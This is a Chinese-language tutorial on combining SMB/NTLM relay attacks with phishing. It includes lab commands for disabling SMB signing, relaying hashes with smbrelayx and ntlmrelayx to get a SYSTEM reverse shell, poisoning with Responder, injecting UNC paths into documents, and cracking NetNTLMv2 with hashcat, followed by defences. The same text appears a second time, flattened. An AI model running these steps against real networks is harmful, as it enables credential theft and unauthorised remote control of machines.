钓鱼配合smb重放攻击
字数 1499 2025-08-25 22:58:29

SMB重放攻击与钓鱼技术结合利用详解

1. SMB重放攻击原理

1.1 SMB认证机制

当访问格式为\\IP\File时,系统会默认将当前用户密码凭证送到SMB服务进行认证,失败后才弹出需要输入用户密码的对话框。此时SMB服务器已经收到了相应数据,通过抓包即能获取到用户凭证。

1.2 NTLM认证流程

  1. 客户端准备:客户端输入username、password和domain(默认是"."表示本地),计算password的DES加密hash并暂存本地
  2. 发送用户名:客户端将username明文发送给域控制器(DC)
  3. 挑战码生成:DC生成8字节随机数(challenge)返回给客户端
  4. 响应生成:客户端用challenge和加密的密码hash再次加密生成response,将challenge、response和username发送给服务器
  5. 验证:服务器将这些值转发给DC,DC根据username查找对应hash,用该hash和challenge再次加密,与客户端response比对

1.3 重放攻击流程(中间人攻击)

  1. 客户端发送登录请求给攻击者(以为是服务器)
  2. 攻击者冒充客户端向服务器请求,获取challenge
  3. 攻击者将challenge返回给客户端
  4. 客户端用challenge和本地hash生成response发送给攻击者
  5. 攻击者将response交给服务器验证,完成认证

2. 利用前提条件

  • 目标机器不能开启SMB签名
    • Windows Server系列默认开启
    • Windows单机系统(win7/8/8.1/10)默认不开启
  • 关闭SMB签名验证命令
    reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
    

3. 实验环境与步骤

3.1 实验环境

  • 攻击机器:Ubuntu (192.168.1.143)
  • 被攻击机器:Win7 (192.168.1.138)
  • 第三方机器:Win2008R2 (192.168.1.152)

3.2 攻击步骤

  1. 探测SMB签名及系统信息

    nmap -sT -p 445 -Pn --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.1.0/24
    
  2. 进行SMB中继攻击

    sudo python smbrelayx.py -h 192.168.1.143 -e ~/shell.exe
    
  3. 触发攻击
    在第三方机器上执行:

    net use \\192.168.1.143
    

    这将发送NTLMv2哈希值进行验证

  4. 攻击成功表现

    • 攻击机器(伪SMB服务器)接收凭证
    • 利用凭证对被攻击机器创建服务
    • 以system权限运行服务,反弹shell

4. 钓鱼技术结合

4.1 主动钓鱼方法

  1. Web页面插入UNC路径

    
    

    用户访问时会自动发送SMB请求和当前用户凭证

  2. 文档钓鱼

    • 在doc或邮件正文插入UNC路径链接(格式\\servername\sharename)
    • 利用PDF的GoTobe和GoToR功能自动请求SMB文件
    • 使用metasploit模块创建带UNC路径的Word文件:
      use auxiliary/docx/word_unc_injector
      

4.2 被动监听方法

使用Responder工具进行LLMNR/NetBIOS-NS和WPAD欺骗:

sudo python2 Responder.py -I ens33 -v

配合ntlmrelayx.py利用捕获的NTLMv2哈希:

sudo python2 ntlmrelayx.py -t 192.168.1.158

5. 哈希破解

将捕获的Net-Ntlmv2(response)保存到hash.txt,使用hashcat破解:

hashcat64.exe -m 5600 hash.txt pass.txt

6. 防御措施

  1. 启用SMB签名
    reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 1 /f
    
  2. 网络分段:限制SMB流量仅限必要通信
  3. 禁用过时协议:如LLMNR和NetBIOS
  4. 用户教育:警惕不明链接和文档

7. 参考资源

  • 《花式窃取NetNTLM哈希的方法》
  • 《SMB重放攻击》
  • 《内网针对AD域的攻击方式和防护方法》
  • https://cloud.tencent.com/developer/news/200028
  • https://paper.seebug.org/474/
  • http://www.sohu.com/a/328732685_609556
SMB重放攻击与钓鱼技术结合利用详解 1. SMB重放攻击原理 1.1 SMB认证机制 当访问格式为 \\IP\File 时,系统会默认将当前用户密码凭证送到SMB服务进行认证,失败后才弹出需要输入用户密码的对话框。此时SMB服务器已经收到了相应数据,通过抓包即能获取到用户凭证。 1.2 NTLM认证流程 客户端准备 :客户端输入username、password和domain(默认是"."表示本地),计算password的DES加密hash并暂存本地 发送用户名 :客户端将username明文发送给域控制器(DC) 挑战码生成 :DC生成8字节随机数(challenge)返回给客户端 响应生成 :客户端用challenge和加密的密码hash再次加密生成response,将challenge、response和username发送给服务器 验证 :服务器将这些值转发给DC,DC根据username查找对应hash,用该hash和challenge再次加密,与客户端response比对 1.3 重放攻击流程(中间人攻击) 客户端发送登录请求给攻击者(以为是服务器) 攻击者冒充客户端向服务器请求,获取challenge 攻击者将challenge返回给客户端 客户端用challenge和本地hash生成response发送给攻击者 攻击者将response交给服务器验证,完成认证 2. 利用前提条件 目标机器不能开启SMB签名 : Windows Server系列默认开启 Windows单机系统(win7/8/8.1/10)默认不开启 关闭SMB签名验证命令 : 3. 实验环境与步骤 3.1 实验环境 攻击机器:Ubuntu (192.168.1.143) 被攻击机器:Win7 (192.168.1.138) 第三方机器:Win2008R2 (192.168.1.152) 3.2 攻击步骤 探测SMB签名及系统信息 : 进行SMB中继攻击 : 触发攻击 : 在第三方机器上执行: 这将发送NTLMv2哈希值进行验证 攻击成功表现 : 攻击机器(伪SMB服务器)接收凭证 利用凭证对被攻击机器创建服务 以system权限运行服务,反弹shell 4. 钓鱼技术结合 4.1 主动钓鱼方法 Web页面插入UNC路径 : 用户访问时会自动发送SMB请求和当前用户凭证 文档钓鱼 : 在doc或邮件正文插入UNC路径链接(格式 \\servername\sharename ) 利用PDF的GoTobe和GoToR功能自动请求SMB文件 使用metasploit模块创建带UNC路径的Word文件: 4.2 被动监听方法 使用Responder工具进行LLMNR/NetBIOS-NS和WPAD欺骗: 配合ntlmrelayx.py利用捕获的NTLMv2哈希: 5. 哈希破解 将捕获的Net-Ntlmv2(response)保存到hash.txt,使用hashcat破解: 6. 防御措施 启用SMB签名 : 网络分段 :限制SMB流量仅限必要通信 禁用过时协议 :如LLMNR和NetBIOS 用户教育 :警惕不明链接和文档 7. 参考资源 《花式窃取NetNTLM哈希的方法》 《SMB重放攻击》 《内网针对AD域的攻击方式和防护方法》 https://cloud.tencent.com/developer/news/200028 https://paper.seebug.org/474/ http://www.sohu.com/a/328732685_ 609556